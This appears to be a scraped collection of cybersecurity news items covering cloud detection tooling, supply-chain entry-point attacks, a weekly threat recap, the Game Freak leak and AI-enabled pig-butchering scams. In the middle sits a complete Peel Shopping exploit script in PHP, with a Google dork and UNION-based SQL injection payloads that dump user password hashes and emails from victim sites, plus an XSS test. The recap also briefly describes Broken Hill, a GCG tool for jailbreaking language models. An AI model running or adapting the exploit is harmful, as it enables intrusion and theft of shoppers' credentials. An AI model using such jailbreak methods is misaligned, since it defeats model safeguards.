The link between detection and response (DR) practices and cloud security has historically been weak. As global organizations increasingly adopt cloud environments, security strategies have largely focused on "shift-left" practices—securing code, ensuring proper cloud posture, and fixing misconfigurations. However, this approach has led to an over-reliance on a multitude of DR tools spanning

The link between detection and response (DR) practices and cloud security has historically been weak. As global organizations increasingly adopt cloud environments, security strategies have largely focused on "shift-left" practices—securing code, ensuring proper cloud posture, and fixing misconfigurations. However, this approach has led to an over-reliance on a multitude of DR tools spanning cloud infrastructure, workloads, and even applications. Despite these advanced tools, organizations often take weeks or even months to identify and resolve incidents.

Add to this the challenges of tool sprawl, soaring cloud security costs, and overwhelming volumes of false positives, and it becomes clear that security teams are stretched thin. Many are forced to make hard decisions about which cloud breaches they can realistically defend against.

By following these five targeted steps, security teams can greatly improve their real-time detection and response capabilities for cloud attacks.

**Step 1: Add Runtime Visibility and Protection**

When security teams lack real-time visibility, they're essentially operating blind, unable to respond effectively to threats. While cloud-native monitoring tools, container security solutions, and EDR systems offer valuable insights, they tend to focus on specific layers of the environment. A more comprehensive approach is achieved by using eBPF (Extended Berkeley Packet Filter) sensors. eBPF enables deep, real-time observability across the entire stack—network, infrastructure, workloads, and applications—without disrupting production environments. By operating at the kernel level, it delivers visibility without adding performance overhead, making it a powerful solution for runtime security.

Here are some key capabilities to leverage for this step:

*   **Topology Graphs:** Displays how hybrid or multi-cloud assets communicate and connect.
*   **Full Asset Visibility:** Showcases every asset in the environment, including clusters, networks, databases, secrets, and operating systems, all in one place.
*   **External Connectivity Insights:** Identifies connections to external entities, including details about the country of origin and DNS information.
*   **Risk Assessments:** Evaluate the risk level of each asset, alongside its impact on the business.

**Step 2: Use a multi-layered detection strategy**

As attackers continue to evolve and evade detection, it becomes harder to find and stop breaches _before_ they unfold. The biggest challenge in doing so lies in detecting cloud attack attempts where adversaries are stealth and exploit multiple attack surfaces— from network exploitation to data injection within a managed service — all while evading detection by cloud detection and response (CDR), cloud workload detection and response (CWPP/EDR), and application detection and response (ADR) solutions. This fragmented strategy has proven inadequate, allowing attackers to exploit gaps between layers to go unnoticed.

Monitoring cloud, workloads and application layers in a single platform provides the widest coverage and protection. It makes it possible to correlate application activity with infrastructure changes in real-time, ensuring attacks no longer slip through the cracks.

Here are some key capabilities to leverage for this step:

*   **Full-Stack Detection**: Detects incidents from multiple sources across the cloud, applications, workloads, networks, and APIs.
*   **Anomaly Detection**: Utilizes machine learning and behavioral analysis to identify deviations from normal activity patterns that may indicate a threat.
*   **Detects Known and Unknown Threats:** Pinpoints events according to signatures, IoCs, TTPs, and MITRE known tactics.
*   **Incident Correlation:** Correlates security events and alerts across different sources to identify patterns and potential threats.

Get started with multi-layered detection and response today.

**Step 3: View vulnerabilities in the same pane as your incidents**

When vulnerabilities are isolated from incident data, the potential for delayed responses and oversight increases. This is because security teams end up lacking the context they need to understand how vulnerabilities are being exploited or the urgency of patching them in relation to ongoing incidents.

In addition, when detection and response efforts leverage runtime monitoring (as explained above), vulnerability management becomes much more effective, focusing on active and critical risks to reduce noise by more than 90%.

Here are some key capabilities to leverage for this step:

*   **Risk Prioritization** \- Evaluates vulnerabilities according to critical criteria—such as whether they are loaded into the applications memory, are executed, public-facing, exploitable, or fixable—to focus on threats that actually matter.
*   **Root Cause Discovery** \- Finds the root cause for each vulnerability (in as deep as the image layer) in order to tackle the root as soon as possible and fix multiple vulnerabilities at once.
*   **Validation of Fixes** - Leverages ad-hoc scanning of images before they are deployed to ensure all vulnerabilities were addressed.
*   **Regulation Adherence** - Lists out all active vulnerabilities as an SBOM to adhere to compliance and regional regulations.

**Step 4: Incorporate identities to understand the "who", "when", and "how"**

Threat actors often leverage compromised credentials to execute their attacks, engaging in credential theft, account takeovers, and more. This allows them to masquerade as legitimate users within the environment and go unnoticed for hours or even days. The key is to be able to detect this impersonation and the most effective way to do so is by establishing a baseline for each identity, human or otherwise. Once the typical access pattern of an identity is understood, detecting unusual behavior is easy.

Here are some key capabilities to leverage for this step:

*   **Baseline Monitoring:** Implements monitoring tools that capture and analyze baseline behavior for both users and applications. These tools should track access patterns, resource usage, and interaction with data.
*   **Human Identities Security:** Integrates with identity providers for visibility into human identity usage, including login times, locations, devices, and behaviors, enabling quick detection of unusual or unauthorized access attempts.
*   **Non-Human Identities Security:** Tracks the usage of non-human identities, providing insights into their interactions with cloud resources and highlighting any anomalies that could signal a security threat.
*   **Secrets Security:** Identifies every secret across your cloud environment, tracks how it's used at runtime, and highlights whether they're securely managed or at risk of exposure.

**Step 5: Have a multitude of response actions available for contextual intervention**

Each breach attempt has its own unique challenges to overcome, which is why it's essential to have a flexible response strategy that adapts to the specific situation. For example, an attacker might deploy a malicious process that requires immediate termination, while a different cloud event might involve a compromised workload that needs to be quarantined to prevent further damage. Once an incident is detected, security teams also need the context in order to investigate fast, such as comprehensive attack stories, damage assessments, and response playbooks.

Here are some key capabilities to leverage for this step:

*   **Playbooks:** Provide play-by-play responses for every incident detected to confidently intervene and terminate the threat.
*   **Tailored Attack Intervention:** Offers the ability to isolate compromised workloads, block unauthorized network traffic, or terminate malicious processes.
*   **Root Cause Analysis:** Determines the underlying cause of the incident to prevent recurrence. This involves analyzing the attack vector, vulnerabilities exploited, and weaknesses in defenses.
*   **Integration with SIEM**: Integrates with Security Information and Event Management (SIEM) systems to enhance threat detection with contextual data.

By implementing these five steps, security teams can boost their detection and response capabilities and effectively stop cloud breaches in real-time with complete precision. The time to act is now – Get started today with Sweet Security.

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5 Steps to Boost Detection and Response in a Multi-Layered Cloud

Cybersecurity researchers have found that entry points could be abused across multiple programming ecosystems like PyPI, npm, Ruby Gems, NuGet, Dart Pub, and Rust Crates to stage software supply chain attacks.
"Attackers can leverage these entry points to execute malicious code when specific commands are run, posing a widespread risk in the open-source landscape," Checkmarx researchers Yehuda

Cybersecurity researchers have found that entry points could be abused across multiple programming ecosystems like PyPI, npm, Ruby Gems, NuGet, Dart Pub, and Rust Crates to stage software supply chain attacks.

"Attackers can leverage these entry points to execute malicious code when specific commands are run, posing a widespread risk in the open-source landscape," Checkmarx researchers Yehuda Gelb and Elad Rapaport said in a report shared with The Hacker News.

The software supply chain security company noted that entry-point attacks offer threat actors a more sneaky and persistent method of compromising systems in a manner that can bypass traditional security defenses.

Entry points in a programming language like Python refer to a packaging mechanism that allows developers to expose certain functionality as a command-line wrapper (aka console\_scripts). Alternatively, they can also serve to load plugins that augment a package's features.

Checkmarx noted that while entry points are a powerful way to improve modularity, the same feature could be abused to distribute malicious code to unsuspecting users. Some of the ways this could happen include command-jacking and creating rogue plugins for various tools and frameworks.

Command-jacking occurs when counterfeit packages use entry points that impersonate popular third-party tools and commands (e.g., aws and docker), thereby harvesting sensitive information when developers install the package, even in cases where it's distributed as a wheel (.whl) file.

Some of the widely-used third-party commands that could be potential targets for command-jacking comprise npm, pip, git, kubectl, terraform, gcloud, heroku, and dotnet.

A second type command-jacking can also manifest when threat actors use legitimate system command names (e.g., touch, curl, cd, ls, and mkdir) as entry points in order to hijack the execution flow.

"The success of this approach primarily depends on the PATH order," the researchers pointed out. "If the directory containing the malicious entry points appears earlier in the PATH than the system directories, the malicious command will be executed instead of the system command. This is more likely to occur in development environments where local package directories are prioritized."

That's not all. Checkmarx found that the effectiveness of command-jacking can be improved by a more stealthy tactic called command wrapping, which involves creating an entry point that acts as a wrapper around the original command, instead of replacing it altogether.

What makes the approach potent is that it silently executes the malicious code while also invoking the original, legitimate command and returning the results of the execution, thus allowing it to fly under the radar.

"Since the legitimate command still runs and its output and behavior are preserved, there's no immediate sign of compromise, making the attack extremely difficult to detect through normal use," the researchers said. "This stealthy approach allows attackers to maintain long-term access and potentially exfiltrate sensitive information without raising suspicion."

Another entry point attack tactic entails creating malicious plugins and extensions for developer tools that have the capability to gain broad access to the codebase itself, thus giving bad actors an opportunity to change program behavior or tamper with the testing process to make it seem like the code is working as intended.

"Moving forward, it's crucial to develop comprehensive security measures that account for entry point exploitation," the researchers said. "By understanding and addressing these risks, we can work towards a more secure Python packaging environment, safeguarding both individual developers and enterprise systems against sophisticated supply chain attacks."

The development comes as Sonatype, in its annual State of the Software Supply Chain report, revealed that over 512,847 malicious packages have been discovered across open-source ecosystems for Java, JavaScript, Python, and .NET since November 2023, a 156% jump year-over-year.

"Traditional security tools often fail to detect these novel attacks, leaving developers and automated build environments highly vulnerable," the company said. "This has resulted in a new wave of next-generation supply chain attacks, which target developers directly, bypassing existing defenses."

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Supply Chain Attacks Exploit Entry Points in Python, npm, and Open-Source Ecosystems

Hey there, it's your weekly dose of "what the heck is going on in cybersecurity land" – and trust me, you NEED to be in the loop this time. We've got everything from zero-day exploits and AI gone rogue to the FBI playing crypto kingpin – it's full of stuff they don't 🤫 want you to know.
So let's jump in before we get FOMO.
⚡ Threat of the Week
GoldenJackal Hacks Air-Gapped Systems: Meet

Hey there, it's your weekly dose of "_what the heck is going on in cybersecurity land_" – and trust me, you NEED to be in the loop this time. We've got everything from zero-day exploits and AI gone rogue to the FBI playing crypto kingpin – it's full of stuff they don't 🤫 want you to know.

So let's jump in before we get FOMO.

****⚡ Threat of the Week****

**GoldenJackal Hacks Air-Gapped Systems:** Meet GoldenJackal, the hacking crew you've probably never heard of – but should definitely know about now. They're busting into super-secure, air-gapped computer systems with sneaky worms spread through infected USB drives (yes, really!), proving that even the most isolated networks aren't safe. ESET researchers caught them red-handed using two different custom-made tools to target high-profile victims, including a South Asian embassy in Belarus and a European Union government organization.

****🔔 Top News****

*   **Mozilla Patches Firefox 0-Day:** Mozilla patched a critical zero-day flaw in its Firefox browser that it said has been actively exploited in the wild to target Tor browser users. While there are currently no details on the attacks, users are advised to update to Firefox 131.0.2, Firefox ESR 128.3.1, and Firefox ESR 115.16.1.
*   **Contagious Interview Remains Lucrative for N. Korea:** Ever since details about a North Korean hacking campaign called Contagious Interview came to light nearly a year ago, it has continued to target the technology sector with no signs of stopping anytime soon. These attacks aim to deliver backdoors and information-stealing malware by deceiving developers into executing malicious code under the pretext of a coding assignment as part of a job interview after approaching them on platforms like LinkedIn.
*   **OpenAI Disrupts Malicious Operations:** OpenAI said it has disrupted over 20 malicious cyber operations since the start of the year that abused its generative artificial intelligence (AI) chatbot, ChatGPT, for debugging and developing malware, spreading misinformation, evading detection, and vulnerability research. One of the activity clusters was observed targeting OpenAI employees via spear-phishing attacks to deploy the SugarGh0st RAT.
*   **FBI Creates Fake Crypto to Disrupt Fraudulent Operation:** The U.S. Federal Bureau of Investigation (FBI) took the "unprecedented step" of creating its own cryptocurrency token and a company called NexFundAI to take down a fraud operation that allegedly manipulated digital asset markets by orchestrating an illegal scheme known as wash trading. A total of 18 people and entities have been charged in connection with the pump-and-dump scam, with three arrests reported so far.
*   **Gorilla Botnet Launches 300,000 DDoS Attacks Across 100 Countries:** A botnet malware family called Gorilla issued over 300,000 attack commands in the month of September 2024 alone, targeting universities, government websites, telecoms, banks, gaming, and gambling sectors. China, the U.S., Canada, and Germany. The botnet is based on the leaked Mirai botnet source code.

****📰 Around the Cyber World****

*   **Microsoft Announces Windows 11 Security Baseline:** Microsoft has released the Windows 11, version 24H2 security baseline with added protections to LAN Manager, Kerberos, User Account Control, and Microsoft Defender Antivirus. It also includes Windows Protected Print (WPP), which the company described as the "new, modern and more secure print for Windows built from the ground up with security in mind." In a related development, the tech giant announced a redesigned Windows Hello experience and API support for third-party passkey providers like 1Password and Bitwarden to plug into the Windows 11 platform.
*   **Apple macOS iPhone Mirroring is Broken:** Apple announced a new iPhone mirroring feature with macOS 15.0 Sequoia, but cybersecurity firm Sevco has uncovered a privacy risk that could expose metadata associated with apps on an employee's personal iPhone to their corporate IT department. The issue stems from the fact that the iOS apps mirrored to the Mac populate the same application metadata as native macOS applications, thereby leaking information about the apps that may be installed on their phones. Apple has acknowledged the problem and is said to be working on a fix.
*   **Social Engineering Via Phone Calls:** Threat actors have found an effective social engineering vector in phone calls in order to trick users into performing an unintended action, a technique also called telephone-oriented attack delivery (TOAD), callback phishing, and hybrid vishing (a combination of voice and phishing). Intel 471 said it has observed a "sharp increase in underground offers for illicit call center services that can aid in malware delivery, ransomware-related calls, and other fraud-oriented social-engineering attempts."
*   **Malicious Extensions Can Bypass Manifest V3:** Google has said Manifest V3, its latest version of the extensions platform, avoids the security loopholes of its predecessor, which allowed browser add-ons to have excessive permissions and inject arbitrary JavaScript. However, new research has found that it's still possible for malicious actors to exploit minimal permissions and steal data. The findings were presented by SquareX at the DEF CON conference back in August. The research also coincides with a study that discovered "hundreds of extensions automatically extracting user content from within web pages, impacting millions of users."
*   **What can a USB reveal?:** A new analysis from Group-IB goes into detail about the artifacts generated in the USB device when files are accessed or modified on devices running various operating systems. "USB formatted with NTFS, FAT32, and ExFAT often create temporary files, particularly during file modifications," the company said. "USB formatted with NTFS on Windows provided more information on file system changes from the $Logfile due to its journaling capabilities." USB formatted with HFS+ has been found to store versions of files that have been edited with GUI tools in a versioning database. Likewise, USB formatted with FAT32/ExFAT on macOS generates ". \_filename" files to ensure file system compatibility for storing extended attributes.

**🔥 **Cybersecurity Resources & Insights****

*   **Expert Webinars**
    *   **Building a Successful Data Security Posture Management Program**: Drowning in data security headaches? Hear directly from Global-e's CISO how Data Security Posture Management (DSPM) transformed their data security. Get real-world insights, and practical advice, get your questions answered and actionable strategies in this exclusive webinar, and walk away with a clear roadmap. Reserve your seat today!
    *   **Ex-Mandiant Expert Exposes Identity Theft Tactics**: LUCR-3 is breaching organizations like yours through identity-based attacks. Learn how to protect your cloud and SaaS environments from this advanced threat. Cybersecurity expert Ian Ahl (former Mandiant) reveals the latest tactics and how to defend your organization. Register for this crucial webinar to gain the upper hand.
*   **Ask the Expert**
    *   **Q: With mobile devices increasingly targeted by cybercriminals, how can individuals protect their devices from network-based attacks, especially in unfamiliar or high-risk environments, such as when traveling?**
    *   **A:** When you're traveling, your mobile device can be a target for attacks like rogue base stations—fake cell towers set up to steal data or track your location. To protect yourself, start by enabling Lockdown Mode on iPhones, which blocks vulnerable 2G connections. Always use a VPN to keep your internet traffic encrypted and avoid using public Wi-Fi without it. A great tool to boost your awareness is the CellGuard app for iOS. It scans your network for suspicious activity, like rogue base stations, by analyzing things like signal strength and network anomalies. While it may flag some false alarms, it gives you an extra layer of protection.
*   **Cybersecurity Tools**
    *   **Broken Hill: A New Tool to Test AI Models' Weaknesses** \- It is an advanced tool that makes it easy to trick large AI models into misbehaving by bypassing their restrictions. It uses the Greedy Coordinate Gradient (GCG) attack to craft clever prompts that push popular models, like Llama-2 and Microsoft's Phi, to respond in ways they normally wouldn't. The best part? You can run it on consumer GPUs, like the Nvidia RTX 4090, without needing costly cloud servers. Ideal for researchers and security testers, Broken Hill helps uncover and fix vulnerabilities in AI models, making it a must-have tool in the fight against AI threats.
*   **Tip of the Week**
    *   **Your Browser Extensions Are Spying on You:** Browser extensions can be useful but also risky, with potential access to your data or hidden malware. Protect yourself by removing unused extensions, checking their permissions, and only allowing them to run on specific sites. Enable "Click to activate" for more control, and use tools like Chrome's Extension Source Viewer to spot any suspicious behavior. Keep extensions updated, monitor network traffic for unusual activity, and consider using a separate browser for sensitive tasks. Features like Firefox's Temporary Container Tabs can also help by isolating extension access. These simple steps can keep your browsing safer.

****Conclusion****

And that's how the cybersecurity cookie crumbles this week! But listen, before you log off and chill, remember this: always double-check the sender's email address before clicking any links, even if it looks like it's from your bestie or your bank. Phishing scams are getting sneakier than ever, so stay sharp! Until next time, stay safe and cyber-aware!

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THN Cybersecurity Recap: Top Threats, Tools and Trends (Oct 7 - Oct 13)

Peel Shopping versions 2.x and below 3.1 suffer from cross site scripting and remote SQL injection vulnerabilities. This was already noted discovery in 2012 by Cyber-Crystal but this data provides more details.

    # Exploit Title: Peel Shopping "catid=" SQL injection# Google Dork: inurl:/lire/index.php?rubid=# Date: 2024-10-02# Exploit Author: Emiliano Febbi# Vendor Homepage: https://www.peel-shopping.com/# Software Link: https://github.com/advisto/peel-shopping# Version: 2.x < 3.1# Tested on: Windows 10##                                   USAGE:                                            ##                                                                                ##                                     1                                               ####If you want test this query: produit_details.php?id=1000&catid=100 you need db name. ####                                     2                                               ####If you want test this single parameter index.php?catid= leave the field with default.####                                     3                                               ####If you want test this parameter index.php?rubid= don't you need db name. (#Expl-3)   ####                                  Details:                                           ####You can also test the search module affected by XSS.                                 ####If you see many iframes are the switch of the tables or parameters;carefully use the ## ##characters '/' in the full path and '-' before the numericals vars.                  ###########################################################################################                                                                                   #########################################################################################*****************************************************************************************[code] Multiple Vulnerabilities exploit [tested]<?phpecho '<html><head><title>Peel Shopping 2.x < 3.1 "catid=" SQL injection</title></head><body><body bgcolor="black"><font color="white"><center><pre>##################################Peel Shopping 2.x < 3.1 Exploit##vuln finder!                   ##Code by Emiliano Febbi - 2024  ##################################( first get db name and later run exploit )</pre><h2>#Expl-1</h2>1 [#Query interested] -> produit_details.php?id=1000&catid=100 AND index.php?catid=<br><br><form action="'.$SERVER[PHP_SELF].'" method="post"><font color="white">#Get Database Name:<font color="red"><br>(*Format: http://www.site.fr/produit_details.php?id=1000&catid=-100)</font><br><input type="text" name="victim_site"><input type="submit" value="Get!"></form><br><font color="yellow">###########################################################</font><form action="'.$SERVER[PHP_SELF].'" method="post"><font color="white">[#insert victim site]:<font color="red"><br>(*Format: http://www.site.fr/produit_details.php?id=1000&catid=-100)</font> or<br><font color="lime">(*http://www.site.fr/index.php?catid=-1)</font><- DB_Name default<br><input type="text" name="victim_sitee"><br>[#insert database name]:<br><input type="text" name="victim_db" value="default"><input type="submit" value="LOAD"></form><br><font color="yellow">###########################################################</font><br><h2>#Expl-2</h2><form action="'.$SERVER[PHP_SELF].'" method="post"><font color="white">#XSS Test[search_module]:<font color="red"><br>(*Format: http://www.site.fr/)</font><br><input type="text" name="site_XSS" value="http://www.site.fr/"><input type="submit" value="test!"></form><br><font color="yellow">###########################################################</font><br></font></body></center></html>';if($_POST['victim_site']) {$site = $_POST['victim_site'];print "<center><font color='red'>#DB_Name:</font>(try-1)<br>";$gettt=file_get_contents("$site%20union%20all%20select%201,(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA)--");     $tags=explode('<td class="petit">',$gettt);                    $tags=explode("</td>",$tags[1]);    $cleaning = array("performance_schema","information_schema",           "Accueil",              "Vous",               "ici",               "tes",    );            $ok = "";    $filtred = str_replace($cleaning, $ok, $tags[0]);     var_dump(strip_tags($filtred));          print "</center><br><br>";          print "<center><font color='red'>#DB_Name:</font>(try-2)<br>";$gettts=file_get_contents("$site%20union%20all%20select%201,(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA)--");     $tagss=explode('information_schema<br>',$gettts);                      $tagss=explode('" href=',$tagss[1]);          $filtreds = str_replace($cleaning, $ok, $tagss[0]);                      var_dump(strip_tags($filtreds));                                                     };;/*#exploit*/if($_POST['victim_sitee'] and $_POST['victim_db']) {$sitee = $_POST['victim_sitee']; $hack_db = $_POST['victim_db'];?><center><font color='lime'>1- #ALL @E-Mail and Users: ~table -><font color='white'>peel_utilisateurs</font></font>-> id=&catid=<br><iframe src='<? echo "$sitee"; ?>%20union%20all%20select%201,(SELECT(@x)FROM(SELECT(@x:=0x00)%20,(SELECT(@x)FROM(<? echo "$hack_db"; ?>.peel_utilisateurs)WHERE(@x)IN(@x:=CONCAT(0x20,@x,mot_passe,email,0x3c62723e))))x)--' title='exploit' height='100' width='500'></iframe><br><font color="yellow">###########################################################</font><br><font color='lime'>2- #ALL @E-Mail and Users: ~table -><font color='white'>utilisateurs</font></font>-> id=&catid=<br><iframe src='<? echo "$sitee"; ?>%20union%20all%20select%201,(SELECT(@x)FROM(SELECT(@x:=0x00)%20,(SELECT(@x)FROM(<? echo "$hack_db"; ?>.utilisateurs)WHERE(@x)IN(@x:=CONCAT(0x20,@x,mot_passe,email,0x3c62723e))))x)--' title='exploit' height='100' width='500'></iframe><br><font color='lime'>3- #ALL @E-Mail and Users: ~table -><font color='white'>peel_utilisateurs</font></font>-> catid=<br><iframe src='<? echo "$sitee"; ?>+union+all+select+1,mot_passe,3,4+FROM+peel_utilisateurs--' title='exploit' height='100' width='500'></iframe></center><?print "<center><font color='red'>[emails cracked]+md5:</font><br>";$textt=file_get_contents("$sitee+%20union%20all%20select%201,(SELECT(@x)FROM(SELECT(@x:=0x00)%20,(SELECT(@x)FROM($hack_db.peel_utilisateurs)WHERE(@x)IN(@x:=CONCAT(0x20,@x,mot_passe,email,0x3c62723e))))x)--");$ress = preg_match_all("/[a-z0-9]+[_a-z0-9\.-]*[a-z0-9]+@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})/i",$textt,$matchess);if ($ress) {foreach(array_unique($matchess[0]) as $emails) {echo $emails . "<br />";}}else {echo "No emails found.";}};;;/*#exploit*/echo '<center><h2>#Expl-3</h2><br><form action="'.$SERVER[PHP_SELF].'" method="post"><font color="white">independent -> #try again to hack!:</font><font color="red"><br>(*Format: http://www.site.fr)</font><br><input type="text" name="hack2" value="http://www.site.fr"><br><input type="submit" value="LOAD"></center><br>';if($_POST['hack2']) {$hackk = $_POST['hack2'];echo '<center><br><font color="yellow">###########################################################</font><br>';           echo "2 [#Query interested] -> index.php?rubid=<br><font color='red'>#password1:</font>(try-1)<br>";?><iframe src='<? echo "$hackk/index.php?rubid=-3+%23xyz%0AUnIOn%23xyz%0ASeLecT+1,mot_passe,3+FROM+peel_utilisateurs--"; ?>' title='exploit' height='100' width='500'></iframe><br><font color='red'>#password2:</font>(try-2)<br><iframe src='<? echo "$hackk/index.php?rubid=-3+%23xyz%0AUnIOn%23xyz%0ASeLecT+1,mot_passe,3+FROM+utilisateurs--"; ?>' title='exploit' height='100' width='500'></iframe><br><font color='red'>#password3:</font>(try-3)<br><iframe src='<? echo "$hackk/index.php?rubid=-3+%23xyz%0AUnIOn%23xyz%0ASeLecT+1,mot_passe+FROM+peel_utilisateurs--"; ?>' title='exploit' height='100' width='500'></iframe><br><font color='red'>#password4:</font>(try-4)<br><iframe src='<? echo "$hackk/index.php?rubid=-3+%23xyz%0AUnIOn%23xyz%0ASeLecT+1,mot_passe+FROM+utilisateurs--"; ?>' title='exploit' height='100' width='500'></iframe><br><?print "<font color='red'>[emails cracked]:</font><br>";$text=file_get_contents("$hackk/index.php?rubid=-1+%23xyz%0AUnIOn%23xyz%0ASeLecT+1,email,3%20FROM%20peel_utilisateurs--");$res = preg_match_all("/[a-z0-9]+[_a-z0-9\.-]*[a-z0-9]+@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})/i",$text,$matches);if ($res) {foreach(array_unique($matches[0]) as $email) {echo $email . "<br />";}}else {echo "No emails found.";}};;;;;/*#exploit*/if($_POST['site_XSS']) {$XSS = $_POST['site_XSS'];?><center><iframe src='<? echo "$XSS"; ?>recherche.php?start=0&motclef=<script>alert("XSS vulnerable!")</script>' title='exploit3' height='100' width='500'></iframe></center><br><?};;;;?>[/code]

Peel Shopping 2.x Cross Site Scripting / SQL Injection

Game Freak’s “Teraleak” appears to expose nearly 1 terabyte of sensitive Pokémon data, including source code, cancelled games,…

Game Freak’s “Teraleak” appears to expose nearly 1 terabyte of sensitive Pokémon data, including source code, cancelled games, concept art, and unreleased projects. The breach, affecting over 2,600 employees, has caused a major buzz in the gaming industry.

Game Freak, the developer behind the _Pokémon_ franchise, has been hit by a massive data breach, now being referred to as the “Teraleak.” The leak has revealed hundreds of gigabytes of allegedly stolen sensitive internal data, from early Pokémon games to upcoming projects.

The breach was first made public when files began circulating on social media platforms, with forums and communities such as r/PokeLeaks filled with content. The material shared includes never-before-seen concept art, development documents, and internal files dating back over 25 years.

Game Freak has confirmed (PDF) the hack, stating that the names and contact details of 2,606 employees and contractors were exposed. The compromised data reportedly originates from a breach in August 2024, though the leaked content surfaced online in October 2024.

Despite Game Freak’s statement, which focused on personal data, leaked files include Pokémon designs from as far back as _Black and White_, as well as materials for future releases such as _Pokémon Legends: Z-A_ and the anticipated 10th generation of games, codenamed “Gaia.”

Among the extensive leaks are design documents for the Pokémon anime, unused Pokémon designs, pitches for movie sequels like _Detective Pikachu_, and a tech demo for the _Nintendo Switch 2_, codenamed “Ounce.”

A moderator from r/PokeLeaks mentioned that the leak includes both legitimate and fake content, making it challenging to verify all files. However, key files listed by the leaker include development builds of _Pokémon Black 2/White 2_, source code for _Pokémon Bank_, and even scrapped projects such as a remake of _Quinty_, Game Freak’s first game.

The file list shared includes various development resources, such as source patch files for _Pokémon Black and White 2_, the full SVN for _Pokémon Platinum_, and even assets from _Pokémon Go_ test builds. Moreover, the leak reveals multiple codenames for various Game Freak projects, including “Synapse,” an unreleased multiplayer Pokémon game developed with ILCA, and “Gaia,” the successor to _Pokémon Scarlet and Violet_. Internal emails, technical documents, and QA builds have also been exposed.

Screenshot from the website where the stolen data has been shared (Screenshot: Hackread.com)

At the time of writing, the hackers behind the attack and their motives remain unclear. However, this breach could be one of the largest leaks in gaming history, comparable to the infamous 2020 Nintendo “Gigaleak.”

With a trove of confidential data still being analyzed and more revelations likely to surface, the full impact of the breach is yet to be fully understood. Game Freak is expected to face further consequences as more details emerge.

1.  **Nintendo accounts hacked: 160,000 accounts accessed**
2.  **Ubisoft Hackers Scrambled for 900GB of Data Before Foiled**
3.  **Gaming Firms and Community Members Hit by Dark Frost Botnet**
4.  **500GB Nickelodeon Data Leak: Unreleased Shows, Scripts at Risk**
5.  **CD Projekt ransomware attack – Cyberpunk 2077 source code stolen**
6.  Spider-Man Developer Insomniac Games Hit by Rhysida Ransomware

Teraleak: Pokémon Developer Game Freak Hacked; Decades of Data Leaked

Scammers in Southeast Asia are increasingly turning to AI, deepfakes, and dangerous malware in a way that makes their pig butchering operations even more convincing.

As digital scamming explodes in Southeast Asia, including so called “pig butchering” investment scams, the United Nations Office on Drugs and Crime (UNODC) issued a comprehensive report this week with a dire warning about the rapid growth of this criminal ecosystem. Many digital scams have traditionally relied on social engineering, or tricking victims into giving away their money willingly, rather than leaning on malware or other highly technical methods. But researchers have increasingly sounded the alarm that scammers are incorporating generative AI content and deepfakes to expand the scale and effectiveness of their operations. And the UN report offers the clearest evidence yet that these high tech tools are turning an already urgent situation into a crisis.

In addition to buying written scripts to use with potential victims or relying on templates for malicious websites, attackers have increasingly been leaning on generative AI platforms to create communication content in multiple languages and deepfake generators that can create photos or even video of nonexistent people to show victims and enhance verisimilitude. Scammers have also been expanding their use of tools that can drain a victim’s cryptocurrency wallets, have been manipulating transaction records to trick targets into sending cryptocurrency to the wrong places, and are compromising smart contracts to steal cryptocurrency. And in some cases, they’ve been purchasing Elon Musk’s Starlink satellite internet systems to help power their efforts.

“Agile criminal networks are integrating these new technologies faster than anticipated, driven by new online marketplaces and service providers which have supercharged the illicit service economy,” John Wojcik, a UNODC regional analyst, tells WIRED. “These developments have not only expanded the scope and efficiency of cyber-enabled fraud and cybercrime, but they have also lowered the barriers to entry for criminal networks that previously lacked the technical skills to exploit more sophisticated and profitable methods.”

For years, China-linked criminals have trafficked people into gigantic compounds in Southeast Asia, where they are often forced to run scams, held against their will, and beaten if they refuse instructions. Around 200,000 people, from at least 60 countries, have been trafficked to compounds largely in Myanmar, Cambodia, and Laos over the last five years. However, as WIRED reporting has shown, these operations are spreading globally—with scamming infrastructure emerging in the Middle East, Eastern Europe, Latin America, and West Africa.

Most prominently, these organized crime operations have run pig butchering scams, where they build intimate relationships with victims before introducing an “investment opportunity” and asking for money. Criminal organizations may have conned people out of around $75 billion through pig butchering scams. Aside from pig butchering, according to the UN report, criminals across Southeast Asia are also running job scams, law enforcement impersonation, asset recovery scams, virtual kidnappings, sextortion, loan scams, business email compromise, and other illicit schemes. Criminal networks in the region earned up to $37 billion last year, UN officials estimate. Perhaps unsurprisingly, all of this revenue is allowing scammers to expand their operations and diversify, incorporating new infrastructure and technology into their systems in the hope of making them more efficient and brutally effective.

For example, scammers are often constrained by their language skills and ability to keep up conversations with potentially hundreds of victims at a time in numerous languages and dialects. However, generative AI developments within the last two years—including the launch of writing tools such as ChatGPT—are making it easier for criminals to break down language barriers and create the content needed for scamming.

The UN’s report says AI can be used for automating phishing attacks that ensnare victims, the creation of fake identities and online profiles, and the crafting of personalized scripts to trick victims while messaging them in different languages. “These developments have not only expanded the scope and efficiency of cyber-enabled fraud and cybercrime, but they have also lowered the barriers to entry for criminal networks that previously lacked the technical skills to exploit sophisticated and profitable methods,” the report says.

Stephanie Baroud, a criminal intelligence analyst in Interpol’s human trafficking unit, says the impact of AI needs to be considered as part of a pig butchering scammer’s tactics going forward. Baroud, who spoke with WIRED in an interview before the publication of the UN report, says the criminal’s recruitment ads that lure people into being trafficked to scamming compounds used to be “very generic” and full of grammatical errors. However, AI is now making them appear more polished and compelling, Baroud says. “It is really making it easier to create a very realistic job offer,” she says. “Unfortunately, this will make it much more difficult to identify which is the real and which is the fake ads.”

Perhaps the biggest AI paradigm shift in such digital attacks comes from deepfakes. Scammers are increasingly using machine-learning systems to allow for real-time face-swapping. This technology, which has also been used by romance scammers in West Africa, allows criminals to change their appearance on calls with their victims, making them realistically appear to be a different person. The technology is allowing “one-click” face swaps and high-resolution video feeds, the UN’s report states. Such services are a game changer for scammers, because they allow attackers to “prove” to victims in photos or real-time video calls that they are who they claim to be.

Using these setups, however, can require stable internet connections, which can be harder to maintain within some regions where pig butchering compounds and other scamming have flourished. There has been a “notable” increase in cops seizing Starlink satellite dishes in recent months in Southeast Asia, the UN says—80 units were seized between April and June this year. In one such operation carried out in June, Thai police confiscated 58 Starlink devices. In another instance, law enforcement seized 10 Starlink devices and 4,998 preregistered SIM cards while criminals were in the process of moving their operations from Myanmar to Laos. Starlink did not immediately respond to WIRED’s request for comment.

